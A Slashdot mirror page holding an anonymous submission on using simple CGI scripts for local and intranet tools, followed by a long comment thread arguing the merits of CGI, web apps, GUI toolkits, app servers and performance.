Slashdot Mirror
When a CGI Script is the Most Elegant Solution
An anonymous reader writes "Writing local Web applications can be quick, easy, and efficient for solving specific Intranet problems. Learn why a Web browser is sometimes a better interface than a GUI application and why experienced Web developers find themselves struggling to learn a GUI toolkit, and descover that a simple CGI script would serve their needs perfectly well, if not better."
When everything else is not.
Quick web scripts are way easier than developing an application if only for the fact that you don't need to figure out how to use networking in whatever language you'd be working in. Plus, you don't need to "distribute" the application once it's done, and you don't need to provide updates to every user on your network who's using it: update your script, update the application.
Plus, developers think in program logic, not in program design. A web script let's the developer write their output in HTML, then go back in later and add some CSS for presentation once they've got the program actually working. I say, it's a good way to do things.
Not to mention that a lot of web scripting languages are easier to use than full-blown application languages, and there are many packages that let you attach native GUIs to web scripts. There isn't a compelling argument not to go that route if your application a) uses networking, and b) is distributed over an intranet.
Why not just use the command line? I didn't see anything in this article that would exclude its usage...
There is a fine line between being a cultivated citizen and being someone else's crop. - A. J. Patrick Liszkie
I've had to support a lot of web-apps, and I can say a web browser is *never* a better interface than a GUI application.
If they meet the following restrictions, they *might* be considered equal:
1) Does not use Java.
2) Works on multiple browser, including future versions of IE which may have more strict security settings.
3) Does not require any client-side settings to work. (For instance, lowering security settings, turning off the pop-up blocker, etc.)
But every web-app I've ever had to maintain in a corporate environment violated every one of these rules. And I'm talking about big companies making these web-apps, like IBM and Siemens. The end affect was:
1) Some only used MS Java, some only used Sun Java, meaning that if a browser had one web-app installed you couldn't install the second one because the Java version would be incompatible.
2) They worked on IE only, which only exaggerated the downfall of the previous point. (You can only have 1 IE per computer, and 1 Java per IE, web developers!!) In addition, it meant that the company I worked for had to freeze IE upgrades to prevent breaking web-app features.
3) We had tons of security problems because of web-apps that required the pop-up blocker to be turned off, or security features to be turned off. (You can only have one set of settings per browser, web developers!! And most of the time, trusted sites doesn't cut it, from my experience.)
Even if all these conditions are met, there's still a good chance that the interface of the web-app might plain suck. The web-based ticketing system "feetimpressions" (not naming names because I still have to work with it, but I think you can figure it out) has a terrible interface. It would be equally terrible as a desktop app, but at least it would run quicker so when you made a mistake you could undo it quicker.
* To be fair, one of the web-apps above was basically a Lotus Notes database converted into a web-app, and Lotus Notes has its own enormous GUI blackhole which seems to suck in any good GUI and mutilate it into something frightening.
Comment of the year
In the author scenario, you are developing GUI utility apps for your own machine and don't plan to allow network access (there are lots of security risks with hosting a web server on a desktop machine, but most of them probably go away if you disallow external connections as the author suggests). Wouldn't it be more straightforward to write the thing in Perl/Tk or similar instead of hassling with transferring state over multiple HTTP requests?
The "editors" do not "edit" articles. This make Slashdot "more real", according to CmdrTaco.
A lot of people are replacing client-server apps with browser based apps, with zero install hassles - which this particular example doesn't really have. But learning to build html apps in CGI mode is easier than re-learning event loops for GTK land (even in perl).
Of course, debugging in-browser apps is getting easier with firebug and other developer oriented firefox bits. Now, whether the app is built using perl-CGI, mod_perl, php, ruby on rails, even servlets doesn't matter - the UI can actually work very well. For instance my sudoku, in fact looks better in HTML than if I (let me repeat, if *I*) had done it with GTK or MFC.
And CGI still hasn't lost its edge totally. There are places when you *have* to use CGI to do what you want. I ran into one case when I couldn't use php when I wanted to server pushes on a live connection. Instead of firing multiple requests to the server, I hold the connection and push data when it comes available - sort of stateful connections reinvented for HTTP. Which has definite promise when you're building mashups, which fetch data from elsewhere without cross-user leakage (heh, if he can hijack TCP, I don't know what...) - flockr for instance uses such a script in the backend to feed it data (except I'll be an idiot to post a live CGI script to slashdot).
CGI ain't quite dead yet ...
Quidquid latine dictum sit, altum videtur
One of the issues that concerns me is what essentially amounts to hijacking of my processing resources. One example is animated ads. It takes CPU power to continually flip a large ad's frames; that's *my* CPU power. So I don't let flash or animated GIFs run unless I make an exception. Same thing applies, for instance, to the difference between slashdot and digg. Slashdot provides a static page. I can load it, and the fact that it is loaded costs me nothing in particular. If I flip away from the browser, it doesn't chew CPU time. But if I load a digg page, my CPU is pegged for a while, especially with large pages, because digg is bloated, slow-as-hell pigware that uses *my* CPU to display and organize its content. Guess how much time I spend there. :)
As I generally have other things going in the background, I don't take kindly to profligate use of my resources; animations, pigware, etc. I keep my eyes open, and I tend to spend time on places that more resemble slashdot than digg in this regard. I *will* bite if the site offers something that overcomes my urge to keep my cycles for myself, but that is a conscious value judgement, not an accident.
Generally speaking, there's another advantage for sites that produce HTML and CGI forms, and do not depend upon the user's computing environment, and that is broad compatibility. If you stick to the basics, then the broadest set of browsers will function with your "stuff." No Java, no PDF, no flash... just the basics. You can make beautiful, functional websites (assuming you've the art skills) with the basics. I see no need for more; the value is in the content, and it isn't like you can't make a good presentation. The first thing I think when I run into a morass of Java, etc., is "incompetent."
But that's just me. :)
I've fallen off your lawn, and I can't get up.
The "editors" do not "edit" articles.
Ok, then...
from the the-answers-is-always dept.
Answers is?
Sorry, there must be an error in the script.
Taco had everyone replaced with very short scripts sometime in 1999.
The file cowboyneal.sh takes up 47.3 TB!
liqbase
Maybe there is some kind of reason for them not editing, I dunno!
First of all, writing a simple GUI application using say Python and TKinter is probably easier than writing a web application. I'm sure the same is true of Ruby, Perl, etc. Or Visual Basic for that matter although VB's database interface (at least in VB3) was so obtuse that I decided to find another language. All of those languages will handle the Event interfaces relatively gracefully.
Second even the localhost (127.0.0.1) interface is likely to be a bit jerky.
Third, No two browsers will render HTML beyond the "hello world" level consistently. Conceptually, that shouldn't matter, but if your input boxes don't appear or line up with inappropriate material in the page display, you can end up tinkering with your application well beyond what you originally envisioned.
Fourth, Browsers cache web pages. They don't always figure out that the page you have requested has changed. It looks to me like NOCACHE statements in HTML pretty much don't work. They may work when used in the HTTP (1.0 or later, right?) header, but getting them there may be non-trivial. This is not a big deal if you are the only user and understand caching since all browsers allow you to force a page reread. But it is not going to work out well with ordinary users.
I'd say that there is a place for simple web applications. But there are a lot of situations where alternative solutions are probably going to be more usable or simpler than a web browser, server, and CGI.
So, CGI is a perfectly OK tool, and maybe it belongs in the toolkit. But it's by no means universally the best solution.
You can't see ANYTHING from a car, You've got to get out of the goddamned contraption and walk...Edward Abbey
Yes, I often do use a web browser as a script GUI. A web browser changes a few HTML text strings into a pretty display.
I love Firebug.
...For those of you who don't know, a CGI in Apache (minus any special persistence) is a simple executable that receives it's input in stdin stream as formatted text, and writes it's HTML (or JPEG or whatever) result to stdout. When writing the output, it appends a few extra lines at the start to tell Apache if the result is HTML, JPEG, text or a page redirect or whatever. That would be the "Content-Type: text/html\r\n\r\n" output yes. CGI isn't always going to be faster than using a framework. sometimes the framework can achieve better results simply by providing memory resident information. Establishing a DB connection many times in CGI can cause pages to perform worse than using a connection pool provided by a framework.
Why UNIX?
I hate to feed the trolls, but you are seriously on-topic for this article: Look at the picture: Peter Seebach: male? female? I don't know.
.. are such a sick and twisted bunch. Unfortunately for you, you never learned real programming, so now you think a hyper-text system on speed (that's what a modern web browser is) is the only true platform for developing applications. Next problem is that you jump on each and every new fad as if it's christs second coming.
Desktop in your browser? OS in your browser? Sad and stupid - makes me angry.
once a "web developer" sits down and learns a proper GUI framework in a non scripting language then they will appreciate the simple (yet complex when you want to do advanced work) WSIWYG style work.
Distributing applications can be a real pita for Linux. You write something that runs in Ubuntu and then you have to port it to Windows for your cow-irkers, then you take it home to work on and find out that Suse is missing a dependency and when you fix that, it breaks another dependency ... etc. With a web-based program, all it has to do is run on the computer it was written for. As another poster points out it also means you have to fix bugs on only one computer. You don't have to re-distribute copies of the program every time you fix a bug.
I agree, a simple cgi script can serve needs well, but it's really ironic IBM uses as an example, a Perl script... no doubt a clever way to encourage sales of their next bigger, faster server, because if you used Perl CGI scripts in a real-time web application that got any significant amount of traffic, you'd need 100 times the processing power of a comparable script written in C or PHP to perform the same task.
I know Slashdot is running in Perl, and their system is cool, but even with mod_perl, there's a lot more overhead in a perl-based application than other languages that are a lot more suitable for the web.
Why not just use the command line? I didn't see anything in this article that would exclude its usage.
An example he cites but does not provide, is a photo browser. You could use a combination of image magic and curses to do the same thing, but cli input could be tedious for more than simple viewing and the author's approach could save effort.
I'm doing a lot of cli image manipulation and I'm interested in this technique. I've got an ugly imaging device and a pile of c code to interpret it's output and make images of it. Having some simple feedback would be nice. It would be even nicer if I could serve that output to others in my group in a platform independent way.
Friends don't help friends install M$ junk.
I don't understand either the problem space, or the solution. I've read the article twice -- though it is apparent by most of the comments that people have not read the article.
It sounds like the author is recommending a single instance web server application running on a local machine that uses a file store instead of a database and CGI as the programming interface. (In other words, this is NOT an intranet application for multiple users!) Doesn't sound that simple at all. In order to do this, you must:
- Know at least one programming language for CGI.
- Know HTML including forms, postback and session.
- Understand the limitations of web browser UI elements. (There are many.)
- Install and maintain a webserver on your local machine.
- Build a robust file store interface. (Even loading / saving / parsing XML files with backups takes time...)
- Install and maintain permissions for the file store.
- And more...
Sounds like all of the disadvantages of the web with none of the advantages.
Why would you not use PERL and CSV IN/OUT files for simple (or complex) command line processing -- and if you needed a really simple UI, then Excel with Visual Basic. (This isn't easy, but it's a lot less technology to learn and maintain.) Anything more complex: Java, the free version of Microsoft VS or xcode. Anything worth doing is worth doing well.
Who here really prefers a web based email client over there native client?
Both have there place and time but thin clients just aren't there yet and that is a simple internet based example. Lets try like autocad or something if you want to get serious.
But an experienced GUI developer is another matter. I can't really speak for other GUI frameworks but for Delphi and it seems for .Net (same architect - got filched from Borland by MS) dev time is hugely faster than WEB developement. It is totally out of proportion. Businesses that favour WEB dev for in-house work are strealing from themselves UNLESS they only have a developer experienced in WEB programming and not GUI programming in which case they have less choice in the matter.
It is true that with GUI developement there is a temptation to do a slick and clever interface and then dev time starts to slow significantly, and it is easier to produce a non-standard interface that annoys everyone. Sticking to something simple or within the normal confines of the framework and it beats WEB/CGI/PHP etc hands down in every category that I can think of (ie. time and performance, network traffic, user satisfaction etc). Interestingly a slick web interface however is another matter since unlike GUI's there is only the DOM and javascript so toolkits have standardised nicely and dev time isn't significantly slower for a slicker WEB interface (ie. the Prototype library). But a slick WEB interface doesn't really compare to a slick GUI interface (flash is GUI, in my opinion) since GUI's are only limited by the system not the browser (think of flash as a system in itself).
RAILS and Django (ruby, Python respectively) may be real contenders but not for performance. Both have dire performance, and limited concurrency. However both languages may be moving to VMs and may get proper threading as well, even Ruby. Currently Python uses a giant concurrency-crunching lock - but at least it allows non-blocking IO (I believe), and Ruby doesn't support native threads at all - all IO blocks - yikes!!!!!!!.
I would even to so far that cgi in most cases is way slower, it does not provide advanced caching algorithms for dynamic content, no connection pooling, it relies on a process per request while most app servers rely on a thread per request model etc... there is almost no reason at all to use cgi.
The advantages of the thin-client:server paradigm without going all the way. ASP-lite as it were.
"Establishing a DB connection many times in CGI can cause pages to perform worse than using a connection pool provided by a framework."
True, but a few points.
I didn't mention a DB (generic database indexing is unsuitable for the search task, and the performance is too slow since the index is a generic rather than specifically designed for the task). Hence the script+database was not a viable solution.
In the original article the author was doing light simple stuff, where the dbconnect time is unimportant anyway.
You can of course run your c++ daemon like any other piece of server software, the range of persistence options in C++ is more than those of scripting languages.
The point is clear, CGIs are a doddle, you really don't need to use a scripting language and any c++ programmer would be completely at home writing them.
And they want their multi-paradigm shifting, leveraging by XYZJSDHTML web based content management system solutions back
Are doomed to reinvent them, poorly, in a web browser.
The premise of the article is that a local application written to target a local server with web browser client is better, but then goes on to say essentially 'ok, here are all the pain in the ass things to overcome when trying to scale it down to a single user compared to typical web server environments'. In his article, he is trading one perceived pain in the ass set of things for another. The unstated stuff is you are requiring the unmentioned user to first have a webserver and CGI environment set up correctly before even beginning to run your app (since the aim is to be standalone on a box, the user's system is the server). He mentions some shortcuts you can take by assuming some network security things and no DB, but in the end the shortcuts are still more work than simple GUI apps for the equivalent task.
As to his fear of GUI toolkits, it's actually mostly silly. He sums it up by saying web browsers don't make you deal with 'resize events, window expose events, or menu events', but the truth is for a GUI application of the complexity he speaks of, GUI toolkits largely don't *make* you, they *let* you. If your application is as simple as what he prescribes, you can ignore that whole functionality of the toolkit. Sure you have to connect events to widgets of interest (i.e. buttons), but you have to do the exact same thing on webapps, but with different wording. If your application has some reason to start messing with the sort of stuff he fears dealing with and is implemented in a browser, a whole lot of pain is in store for you with obscure, platform specific javascript aplenty. Similarly, he mentions file opening/saving, and font management, but again, the toolkit usually has user-wide settings you can ignore the existence of just like a browser for font and style, and evoking the Toolkit standard filebrowser is usually exceedingly simple (along the lines of filename=Chooser() (not a specific language/toolkit)).
I have dealt with quite a few 'webapp-for-everything' people, generally they make web apps with an exceptionally clunky interface that responds poorly (I actually dislike Gmail's interface, but Zimbra was impressive, but still sluggish). If I find myself using it frequently and I can find out what it is frontending (usually a database for general apps, imap for mail, etc), then I write a quick GUI application or use a standard standalone app to do the same thing. I end up with a smoother interface that lets me be more productive, and often things run faster (webapp deployments are frequently the bottleneck, the backend could service far more than the webapp can push through for whatever reason). Whenever I do that and someone glances me interfacing with a system notoriously annoying in interface, they always want my application. Again, good Webapps can be on par with GUI apps, but for all the reasons the guy mentions, webapp developers mostly think implementing everything as simple forms is the way to go and that sucks for a lot of usage. GUI apps of course can be written piss-poor as well, but the typical GUI toolkit primitives are richer than simple HTML forms.
The only potential thing depending on how the app manages data and how it could be useful is the issue of scaling out/up. With a standalone GUI app, the barrier to running it remotely and having all your data in one place is higher than webapps (if running it remotely, must have X/RDP/VNC client installed on your random client which is less likely than a browser, if just having the data remote, still have to get the data accessible via some means and your client must have your software). This is a hard thing to define concretely, but the implementor should be able to make this determination fairly easily.
XML is like violence. If it doesn't solve the problem, use more.
I wrote a little Ruby on Rails app that does nothing more than help me record and calculate my fuel mileage. It took me about 20 minutes start to finish and it's exactly what I needed. Doing the same thing on a spreadsheet would have taken me the same amount of time, but now I can expand it in the future to let me send text messages to it to record mileage when I'm out and about.
I'm in the hole of the broadband donut.
And then users say, and they're right to say this:
"Okay, can we have a basic real-time price chart on that?"
"Can you pick up the settings for my main thick-client work application and use those?"
"This is OK for offline work but now that we're using it seriously it has to respond to clicks right away."
"Ok, when we enter the currency pair, the visual display of the curves should update immediately before we enter the price, just as a sanity check."
Of course you can always reply:
"Well, I decided to do this as a CGI script. That meant a bit of a tradeoff whereby it was easy to develop at the time, but we can't really extend it with rich client-side functionality like that."
To which the correct answer is:
"Looks like YOU have a problem!"
Okay, that doesn't ALWAYS happen. But it certainly happens a lot -- if there's any chance that that the solution will be compared to thick-client apps, it's really not a good idea to start with the web. When everyone's lucky, the result is that work starts on a proper client application. When everyone's NOT lucky, the Java applets and DHTML wizardry come out, and you're left supporting and justifying an increasingly complicated solution that's heavy on scripting and net traffic and that's competing with solid (usually C#) client/server apps. Which is a pain.
Whence? Hence. Whither? Thither.
I work for a company who uses almost exclusively web apps inside the company. It works because having a small programming staff means it would be hard to constantly troubleshoot every user's machine. Lets face it, the average user is usually clueless on to how a new application will work, and putting it into a web page means that it's fairly simple for them to pick up. None of the apps use Java or anything besides CSS and HTML, and while CSS can be a bit finicky on different browsers, it's at least still usable. However, I spend most of my time on the job fixing back end code that is absolutely horrendous. This is however, a product of 10 year old code, as well as the initial project having almost zero direction when the coding started. That's a problem that happens all across the board, not only on Web Applications.
"I would even to so far that cgi in most cases is way slower, it does not provide advanced caching algorithms for dynamic content, no connection pooling, it relies on a process per request while most app servers rely on a thread per request model etc... there is almost no reason at all to use cgi."
Clean, efficient, small, simple, stable, not restricted to database hence no need to connect to database, hence no need to use connection pool to fix up DB connect problem, hence no need for extra complexity, processes more secure, can be killed separately and independent of one another, all OS caching still works.
There's a lot to be said from bypassing the framework and since it's very trivial to do so, the first question any programmer should ask is if they actually gain anything from the framework.
SWILL is great for adding an interface to legacy code, because its impact on the application can be minimal. I wouldn't recommend its use if your GUI requirements are above what can be implemented in a dozen web pages.
As a CGI library (freeCGI++) and an app server (AsynchObjectServer) developer, I can tell you that CGIs are extremely inefficent (but rather a quick and dirty way to build server side apps); there is so much you cannot do well with CGIs, like caching the executable/library (although FastCGI fixes this a bit), caching of static/global/app data, database connection pooling, HTTP pipelining (for all except IE), pre-parsing of data, templating, etc. I can write two simple apps (and I have actually) that do nothing but send back to the browser a simple XML doc . Both CGI and app server is in C++ and with CGI the execution takes 70-80ms and with an app server 5-8ms (on the same machine, albeit an old slow one but it's a relative test). There is a lot that needs to be built up with CGI execution (environment hooks, loading on executable, capturing of stdin/stdout, unloading), meanwhile the app servers (frameworks) can have it all pre-built and cached and only connection/request specific info needs to be built up.
The reason I wrote the app server and framework was to overcome the shortcoming of CGI (yet I still support the CGI library the same, it's great for quick app development as a proof of concept or prototype). I would never use CGI for any large scale development (maybe that's just me).
Their main function is to think of the "from the ... dept." line. Doing a spellcheck or other mundane editing tasks would distract them from that.
I use CGI for simple dynamically-generated stuff, like want-lists based on numbers (e.g., missing episode lists), Now Playing, and random-image stuff. It's mostly bash/ksh scripts, sometimes with a sprig of C, and the HTML output is very rudimentary (if there is indeed any - some output pngs).
-uso.
What you hear in the ear, preach from the rooftop Matthew 10.27b
I know, I know, it's "unsupported", but if I need a quick and dirty app, I usually end up doing it in VB6. I've never seen a framework that allows for such quick development, and such flexibility. If I need a web browser for displaying info, you just click and drag a web browser into the environment. And of course, you have instant access to all other Win32 objects as well. It's great for tying together disparate systems, and you need a GUI.
I don't respond to AC's.
...and yet they still screwed it up, and wrote "answers is".
Perhaps it's the new all-covering encryption.
"Both CGI and app server is in C++ and with CGI the execution takes 70-80ms and with an app server 5-8ms (on the same machine, albeit an old slow one but it's a relative test)."
You may wish to tune your OS file cache if you're getting that performance, the file cache alone fixes the load time for the CGI code itself. I got 500 queries/second from the lowest spec server I could find, which is way beyond any requirement we're talking about here. Thats only about 10 simultaneous processes taking 20ms to do the (very complex) query. Obviously a much simpler process would take a lot less and a lot beefier server would run more simultaneous processes, but 500 is 15 BILLION queries a year so it's not small change.
It's a tradeoff, if you use a database then a dbconnect is expensive and persistence is more useful, but the slowness comes from the database it's not inherent in the CGI. Worse if the database is over the network, you have the network latency ontop of that aswell and persistance starts to become essential.
The down side is that you have shared process space and one thread can bring down the rest. There is a reason that Apache chose to load the CGIs as processes afterall.
I use Perl/CGI/Apache2/MySQL for proof-of-concept/fast-prototyping--which usually takes one to two days (or weeks). Once the functionality, testing, and etc. is done, I send the specifications and the URL to another department. Then I wait for one to two months for them to come back with a Windows .NET program (usually written in C# or VB) using MS SQL Server. During that time my co-workers continue to use my web-based stuff. (BTW, this is in a corporate environment with annual revenues of about four billion dollars and 5,000 employees.)
What one fool can do, another can. (Ancient Simian Proverb)
CGI is NOT a language. It's an interface specification. Thomas Boutell has a wonderful library for writing CGI in C.
The same arguments can be used for command line apps. Just get rid of the GUI completely. Seriously. If you don't need a GUI, then use a freaking command line tool. But if you DO need a GUI, then use a GUI! A webapp is only going to subject the user to a nasty user interface.
Don't blame me, I didn't vote for either of them!
I see a hundred posts here flaming the guy because "You can't write an enterprise realtime xyz app in a browser". Luckily that isn't at all what he recommended or said in his article. He stated quite clearly that in certain limited cases, when users need xyz FEATURE (not necessarily a whole app) it is easier, faster, and less error prone to throw up a quick CGI script to do the job.
I've done this tons of times for clients that just want a feature, not an app. Maybe 1-3 forms with a database backend and a search bar. That is not an application, maybe they want to track some arcane bit of data about their clients for a couple months, maybe they want to see how an advertising campaign is going, so they tell the receptionist to always ask where the customer heard of them and she keeps track on the little web form. Yes this data would normally be tracked in some sort of CRM app, but a lot of small businesses don't have CRM apps and even Sugar CRM is way to complex and involved for a 15 person firm to learn and use effectively.
The customer doesn't need a CRM/ERP SAP type system, they aren't going to pay me to develop an application that will be installed on all 25 machines and then maintained. But if I can throw something up on their file server in 2 hours they are totally happy.
Granted, this guy goes a little crazy and suggests actually installing web server/db server/cgi environment on every client machine, which to me seems retarded. But he isn't recommending replacing a companies entire business process management system with a browser either.
...rebuttals is "most of the time" and "with the following restrictions" and "if I target only IE6".
Which basically means you are tied to a given platform...so cross platform compatibility is out the window. I would argue compatibility with any platform is out the window with those restrictions, given the recent forced IE7 upgrade. Even something as simple as users twiddling their browser setting can break your app.
"Most of the time" and "we think it should work" aren't phrases you want to hear from someone developing a mission critical app for you.
PHP is a very simple language as well and not overkill for simple tasks. How can it be compared to CGI? Does it have any real disadvantages? Advantages are clear: many developers are better at writing PHP than at writing Perl and PHP is nowadays more widespread on servers than CGI.
]] I would never use CGI for any large scale development (maybe that's just me).
I do. And it works. Let me spell out the reasons why:
- code is extremely maintainable because every point of entry (script) is a separate entity on the filesystem. You always know where to start to trace a call.
- library structures (control model view) can be used in CGI just as anywhere else, and my apps do just that.
- code is executed extremely safely because of process isolation and privilege degradation; I don't have dangling database connections, other threads fucking up my heap, or re-entrancy issues. When my CGI process terminates abnormally, I'm pretty sure the rest of the appserver is undamaged.
On top of that I find it funny when people will smile when I explain to them how my CGI apps have to fork, execute an interpreter, load up resources and state and are only then good to go, and say: 'but you'll be slow, you'll need a lot of resources'. And then they'll fondly talk about their java webservers which are so fast, but unfortunately won't run unless you multiply the dimensions of my CGI's hardware by a thousand.
Religion is what happens when nature strikes and groupthink goes wrong.
I once wrote a tool that had a command line interface. I saw the way a few people worked with it and realized that 99% of it was copy-paste part of something into a text file, feed that text file into the tool + some flags and then spit out the results.
So I turned it into a (.py) CGI that had a simple text area + submit and checkboxes for the flags.
The tool was mostly one-off (written in 3 man-weeks with a scant 23 bugs+feature requests) but combined with this simple CGI interface has resulted in unprecedented improvements in productivity. Updating the tool behind the GUI was the main benefit. I thought of doing Java Web Start but decided against it once I had prototyped the CGI.
I will never discount the usefulness of CGI again***.
*** Well except the one time that someone pasted *a lot* of information and clicked submit 20 times which eventually brought down the server. I fixed that one!
At least, not most of the time. I don't want to have to learn several different toolkits in order to make the program work OK on several different platforms. So a nice CGI fits the bill.
And in Python, it doesn't really matter that I don't have a web server running. I just use the pure Python web-server that ships as part of Python's standard library. It's not really up to a load of more than a few requests per second, but if things ever get that busy it should be easy to convince someone to give me the time to upgrade things to a structure that will work. And with WSGI I won't have to change any of my web app.
Need a Python, C++, Unix, Linux develop
you can write a trivial web server in bash, using inetd to handle the networking side. horrendously inefficient BUT very quick and dirty, and you can do a surprising amount to parse headers using awk and sed!
I used this technique to create a snapshot of a website and add a searchable index using namazu; the web pages are accessed using FILE:///, but the search engine uses http://localhost/namazu. Since you're only doing one cgi invocation on an occasional basis, who needs scalability?
Internet disease is the single most common disease afflicting teenage girls in North America.
I used this technique to create a snapshot of a website and add a searchable index using namazu; the web pages are accessed using FILE:///, but the search engine uses http://localhost/namazu. Since you're only doing one cgi invocation on an occasional basis, who needs scalability? you could use djb's tcpserver, which is preferable over inetd. apache 1.3 can read/write stdin/stdout the way you're talking. it is inefficient as each request is another fork(), but for modifying headers in a particular way it's useful.
Why UNIX?
Your general description (a quick remote access thing for something) falls very much in the category of what a webapp would work well for, remote resource management for untrained personnel, ubiquitously available.
/usr/bin isn't that big a deal on *nix systems). On managing shared resources (asterisk server status/shared files/etc) and having untrained people able to use the interface webapp is good (I have written one off daemons for experts that either simply interacted via telnet, or in more security minded scenarios used SSL and made them use openssl s_client to talk to the daemon, perhaps using certificates for authentication), or just had people ssh in and run the utility in the shell, but getting a receptionist to do all that is asking a bit much..) Of course, aside from ssh/otherwise remotely accessing the application, the webserver provides for authentication, which is good as implementing their own auth scheme can be a large exposure for a developer to screw up if they go to reinvent the wheel.
I will say your GUI app development time is exagerrated (GUI app, ok, not that big a deal, but an xml-rpc daemon to handle on/off? Just because xml-rpc is a buzzword doesn't mean you have to use it for every little thing, a daemon to this thing would be easy. Querying a database? Why in the world would you make it more difficult than it has to be (unless asterisk publishes it's info through a DB only) If your asterisk server is running a daemon specifically for this task, the amount of network debug should be minimal (you have three basic strings to get through, 'off' 'on' 'status, with a handful of response strings, add on for authentication almost nothing if using SSL and certificate authentication, a little more for anything else). If not over-engineered (which your high level design sounds to be), there isn't much for a client to screw up for this. Of course a single GUI app for 'on/off/status' is silly, and a single web page to do the same thing is less silly.
On distribution of your client app and the sheer sanity of having so many one-off applications from doing a single app for every little thing, the webapp has benefit (at least on Windows systems where you want to provide a visual queue for each app, hiding an app in
XML is like violence. If it doesn't solve the problem, use more.
Ummmm.... awww, fuck it.
"Hey, the third matrix movie would have been good except for the plot,story, and acting." --AC
This was relative test on a very slow outdated machine, so the absolute numbers are not relevant, the relative ratio is. While I am not saying that CGI is bad, I am saying that there are ways to do better.
Neither. A John Romero wanna be.
What does java have anything to do with this? My CGI and app server are both in C++. Yeah you can look at websphere with a 2GB footprint running HelloWorld and wonder wtf is going on, but a C++ app server will take maybe 20MB to do the same, java app servers are a bloated mess (this includes tomcat, jboss, websphere and weblogic; use/used them all and very very disappointed, but maybe when 32GB is considered a low number for server memory will it not matter anymore).
Anyhow, CGI is so 1995, it has its place. Every point you made above, can be made about pretty much anything, so it's not saying that CGI is a benefit, just says that you did your due diligence and wrote maintainable/structured code; I am sure you would do the same if you were working with an app server. The only benefit inherent to CGI is process/thread isolation; which is a trade off since process creation is a bit heavy but affords you the isolation. Well written applications running on an app server can do the same. If you expect your code to do horrible things to the process space, then yes, CGI is the way to go, otherwise I would pick efficiency over it any day. Personal choice maybe.
Daikatana
It's funny, laugh
By "ugly dweebs" I assume you mean completely ordinary looking people, and by "Mac users" I assume you also mean completely ordinary looking people. Why are you a pretentious git in comparison to everyone else here? Is it because you're projecting your friendless, sexless nerdiness onto the rest of us from your mother's basement?
If you're going C++ for performance reasons, take a look at tntnet. It's a web application framework in C++, and provides sessions, thread-safe operations, and things like database connection pooling. You can even create web pages with C++ embedded right in, similar to e.g. PHP or ASP. And it's fast.
CGI scripts are nice and easy to code, but for heaven's sake, use PHP or Python.
Thanks for posting this. I thought I was the only one crazy enough to seem that this was a solution looking for a problem. I can imagine going to my server/security group:
By the time we get done setting up Apache permissions to deal with reading/writing files, locking down port 80 properly, and managing multiple applications in the same Apache configuration file, I can't see how this works anywhere other than an engineer's workstation.
What is the point of limiting ourselves to HTML's crappy GUI toolkit, inherent lack of session state, etc. for more administrative overhead? Seriously, the only reason this article got any attention because it its inherent anti-M$ substance (again, there is no way anybody in their right mind would ever role out IIS on individual workstations).
They included a bit of bloatware with your OS called the System Idle Process. If you think Digg is thirsty for resources, wait until you see that bastard. On my 3 GHz development machine it regularly is chewing up 99% of the CPU, and I can't figure out how to disable it! ...
SERIOUSLY. The marginal cost of the time you have spent worrying about this is already more than the marginal cost of extra eye candy, which is zero because your computer *will* burn those cycles or consume that RAM whether you want it to or not. (I can't understand why folks get upset about RAM usage. Oh no, IE/Firefox chews up 40MB as soon as you turn it on... out of the 1GB on my machine! Thats too much, I want to keep my memory free so I can look at the process monitor and be happy while waiting an age and a half for the stuff to load from disk.) Unless you routinely have your computer pegged at 100% utilization of some limiting resource, and if you are using a modern machine I can almost guarantee that you don't, saving a few hundred KB by not displaying the technological marvel that is a rotating GIF will not cause your machine to suddenly suffer a massive decrease in performance.
Help poke pirates in the eyepatch, arr.
I recently visited an old colleague of mine and we talked tech a bit. He was getting into citrix, an amazing server-side application deployment method... all of the benefits of which have been covered by X for ages. It's sad that people don't know about such impressive technologies simply because they don't have a marketing budget to make it happen.
X has been ahead of its time for quite a while. It's sad to see it still wallowing in obscurity while people reinvent the wheel, slap a fancy label on it, and charge exorbitant amounts of money for it.
That's one of the reasons Linux still has such a small following, IMHO. It may not be a tiny following, but it's smaller than it could be if people really knew what they were missing. I just got hired on at a new place, slicked my workstation and put Ubuntu on it with Beryl. Everyone was so impressed with the usability and beauty of the interface, and they were all amazed that this is what Linux could look like. They'd never heard of it (but they'd heard of OS X and Vista) despite its superior features.
"I would even to so far that cgi in most cases is way slower, it does not provide advanced caching algorithms for dynamic content, no connection pooling, it relies on a process per request while most app servers rely on a thread per request model etc... there is almost no reason at all to use cgi."
www.google.com/search?q=speedy_backend
So what?
There are lots of embedded web-servers that can do exactly the same stuff.
Take a look at Barracuda, which provides C/C++ Server Pages (CSP) and Lua Server Pages (LSP) for easy and convenient scripting. BTW, Lua is currently the fastest scripting language if you like to compare speed.
It makes more sense to use an Embedded Web server for this kind of work as one can easily integrate such a server into any application -- i.e. extend any application with web and scripting support. A good web-server can also read directly from ZIP files as if it is a file system, thus making it even easier to deploy a GUI as the ZIP file can be integrated into the executable.
"Then there is the joy of browser compatiblility. You start out saying, oh, we will only support browser X...but it never sticks...and your regression testing grows geometrically with each browser and version of browser you support."
What are you talking about? You have to be exploring some obscure browser bugs or making very fragile pages for them to not work on all the modern browsers. I test on Firefox and IE 6 and I'm done. I don't use weirdo features or explore every last JavaScrpt hack possibility. If you're having to test for each specific browser version you are coding pages that are fragile.
I would even say, if you're coding JavaScript by hand, what are you doing? These days you should be using some of the various JS toolkits. I write AJAX all the time and never write any JS myself.
90% of computer users are incapable of operating a command line.
That does not really matter for my project because it's just for me. I've documented the code I've written so others in the group can use it if they want to, but when I'm done the work is done and there will be little need for it.
That most people can't use a command line is a sad M$ legacy. DOS was and still is both clumsy and lacking proper documentation. I'm told they finally got tab complete sort of working, but their paths are still foo-bar and there's no proper man or info commands. Without bash, proper paths and man, I would not know much either.
Friends don't help friends install M$ junk.
"why experienced Web developers find themselves struggling to learn a GUI toolkit" You should be using engineers who understand what they are doing, some of us know GUI toolkits inside out & never touch web apps (unless we have to). Your coming at the problem from the "what we know" angle, not the "what we need to know" angle.
The only usecase i see for cgi is a database less app, in an environment where you have an apache webserver only. As soon as you have a tomcat (or any other app server) lingering around or a scripting engine docked onto the webserver, which in almost 100% of all webserver installations it is the case, then forget CGI, you are faster with other methods. In case of java just drop in a servlet or jsp, this is very frameworkless in case of scripting engines drop in what the language provides. Once you hit the db level or or more than a few lines of code, forget cgi entirely.
